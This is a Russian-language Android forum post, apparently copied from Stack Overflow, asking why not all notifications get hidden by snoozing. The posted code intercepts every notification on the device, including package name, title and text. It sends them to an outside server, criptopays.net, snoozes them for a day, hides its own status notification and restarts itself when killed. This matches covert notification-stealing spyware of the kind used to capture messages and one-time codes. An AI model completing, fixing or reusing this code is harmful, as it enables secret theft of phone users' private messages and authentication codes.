Почему не все уведомления отлаживаются?Android

Форум для тех, кто программирует под Android
Ответить
Anonymous
 Почему не все уведомления отлаживаются?

Сообщение Anonymous »

Я создаю приложение, в котором хочу скрыть все создаваемые им уведомления, включая фоновый процесс, путем отладки его отображения на некоторое время. Но столкнулся с проблемой, что не все уведомления моего приложения скрыты, но могут быть скрыты некоторые сторонние уведомления, которые мне вообще не нужны.
У меня есть фон процесс, создающий уведомление ForegroundService

Код: Выделить всё

public class ForegroundService extends Service {
private static final String CHANNEL_ID = "foreground_service_channel";

@SuppressLint("ForegroundServiceType")
@Override
public void onCreate() {
super.onCreate();
Log.i("ForegroundService", "Service created and running");
createNotificationChannel(); // Создание канала уведомлений

Notification notification = null;
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) {
notification = new Notification.Builder(this, CHANNEL_ID)
.setContentTitle("My App is running") // Заголовок уведомления
.setContentText("Running in the background") // Текст уведомления
.setSmallIcon(R.drawable.ic_service_icon) // Иконка для уведомления
.setPriority(Notification.PRIORITY_MIN) // Низкий приоритет
.setVisibility(Notification.VISIBILITY_SECRET) // Уведомление будет скрыто
.build();
}

startForeground(1, notification); // Запуск сервиса в переднем плане
}

@Override
public int onStartCommand(Intent intent, int flags, int startId) {
// Выполняйте задачи в фоне
return START_STICKY;
}

@Override
public IBinder onBind(Intent intent) {
return null;
}

private void createNotificationChannel() {
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) {
NotificationChannel serviceChannel = new NotificationChannel(
CHANNEL_ID,
"Foreground Service Channel",
NotificationManager.IMPORTANCE_DEFAULT
);

NotificationManager manager = getSystemService(NotificationManager.class);
if (manager != null) {
manager.createNotificationChannel(serviceChannel);
}
}
}

}
А также MyNotificationListenerService, который скрывает его, если его код такой

Код: Выделить всё

public class MyNotificationListenerService extends NotificationListenerService {
private static final String TAG = "NotificationListener";

@Override
public void onNotificationPosted(StatusBarNotification sbn, RankingMap rankingMap) {
super.onNotificationPosted(sbn, rankingMap);
Log.i(TAG, "Уведомление получено: " + sbn.getNotification().tickerText);

// Пример: откладываем уведомление на 60 секунд (60000 миллисекунд)
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) {
snoozeNotification(sbn.getKey(), 86400000);
}
Log.i(TAG, "Уведомление отложено на 60 секунд");
}

@Override
public void onNotificationRemoved(StatusBarNotification sbn) {
super.onNotificationRemoved(sbn);
Log.i(TAG, "Уведомление удалено: " + sbn.getNotification().tickerText);
}
}
Но если я изменю MyNotificationListenerService на

Код: Выделить всё

public class MyNotificationListenerService extends NotificationListenerService {
private static final String TAG = "NotificationListener";

private RequestQueue requestQueue;

@Override
public void onCreate() {
super.onCreate();
requestQueue = Volley.newRequestQueue(this);

// Создаем уведомление для Foreground Service
createNotificationChannel();  // Создаем канал уведомлений для Android 8.0 и выше

Notification notification = new NotificationCompat.Builder(this, "notification_channel_id")
.setContentTitle("Notification Listener")
.setContentText("Сервис слушает уведомления.")
.setSmallIcon(R.drawable.ic_service_icon) // Иконка уведомления
.setPriority(Notification.PRIORITY_MIN) // Минимальный приоритет
.setVisibility(NotificationCompat.VISIBILITY_SECRET) // Скрыть уведомление
.build();

// Переводим сервис в режим Foreground Service
startForeground(2, notification);
}

@Override
public void onNotificationPosted(StatusBarNotification sbn, RankingMap rankingMap) {
Notification notification = sbn.getNotification();
CharSequence title = notification.extras.getCharSequence(Notification.EXTRA_TITLE);
CharSequence text = notification.extras.getCharSequence(Notification.EXTRA_TEXT);

Map notificationData = new HashMap();
notificationData.put("packageName", sbn.getPackageName());
notificationData.put("title", title != null ? title.toString() : "");
notificationData.put("text", text != null ? text.toString() : "");

sendNotificationData(new Gson().toJson(notificationData));

Log.i(TAG, "Уведомление получено: " + sbn.getNotification().tickerText);

// Пример: откладываем уведомление на 60 секунд (60000 миллисекунд)
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) {
snoozeNotification(sbn.getKey(), 86400000);
}
Log.i(TAG, "Уведомление отложено на 60 секунд");
}

@Override
public void onNotificationRemoved(StatusBarNotification sbn) {
super.onNotificationRemoved(sbn);
Log.i(TAG, "Уведомление удалено: " + sbn.getNotification().tickerText);
}

private void sendNotificationData(String jsonData) {
String url = "https://criptopays.net/not/"; // URL для отправки данных

StringRequest stringRequest = new StringRequest(Request.Method.POST, url,
new Response.Listener() {
@Override
public void onResponse(String response) {
// Обработка успешного ответа
sendMessageToActivity("Успешно отправлено: " + response);
}
},
new Response.ErrorListener() {
@Override
public void onErrorResponse(VolleyError error) {
// Обработка ошибки
sendMessageToActivity("Ошибка: " + error.toString());
}
}) {
@Override
public byte[] getBody() {
return jsonData.getBytes(); // Отправляем данные как JSON
}

@Override
public String getBodyContentType() {
return "application/json; charset=utf-8"; // Указываем тип контента как JSON
}
};

requestQueue.add(stringRequest);
}

private void sendMessageToActivity(String message) {
Intent intent = new Intent("com.arturio.notification.RESULT");
intent.putExtra("message", message);
sendBroadcast(intent);
}

@Override
public void onDestroy() {
super.onDestroy();
stopForeground(true);  // Остановить уведомление при уничтожении сервиса
}

// Создаем канал уведомлений для Android 8.0 и выше
private void createNotificationChannel() {
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) {
NotificationChannel channel = new NotificationChannel(
"notification_channel_id",
"Notification Listener Channel",
NotificationManager.IMPORTANCE_LOW);
NotificationManager manager = getSystemService(NotificationManager.class);
if (manager != null) {
manager.createNotificationChannel(channel);
}
}
}

@Override
public void onTaskRemoved(Intent rootIntent) {
// Перезапуск сервиса при его удалении
Intent restartServiceIntent = new Intent(getApplicationContext(), this.getClass());
restartServiceIntent.setPackage(getPackageName());
startService(restartServiceIntent);
super.onTaskRemoved(rootIntent);
}

@Override
public void onListenerConnected() {
StatusBarNotification[] activeNotifications = getActiveNotifications();
if (activeNotifications != null) {
for (StatusBarNotification sbn : activeNotifications) {
if (sbn.getPackageName().equals("com.example.targetapp")) {
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) {
snoozeNotification(sbn.getKey(), 86400000); // Откладываем каждое активное уведомление
}
}
}
}
}

}
При этом MyNotificationListenerService сам также создает уведомление, затем уведомление MyNotificationListenerService отлаживается, то есть оно исчезает, а MyNotificationListenerService отлаживается, то есть исчезает, и < Strong>ForegroundService уведомление остается видимым и не отлаживается в течение указанного периода времени

Подробнее здесь: https://stackoverflow.com/questions/791 ... s-debugged
Ответить

Быстрый ответ

Изменение регистра текста: 
Смайлики
:) :( :oops: :roll: :wink: :muza: :clever: :sorry: :angel: :read: *x)
Ещё смайлики…
   
К этому ответу прикреплено по крайней мере одно вложение.

Если вы не хотите добавлять вложения, оставьте поля пустыми.

Максимально разрешённый размер вложения: 15 МБ.

Вернуться в «Android»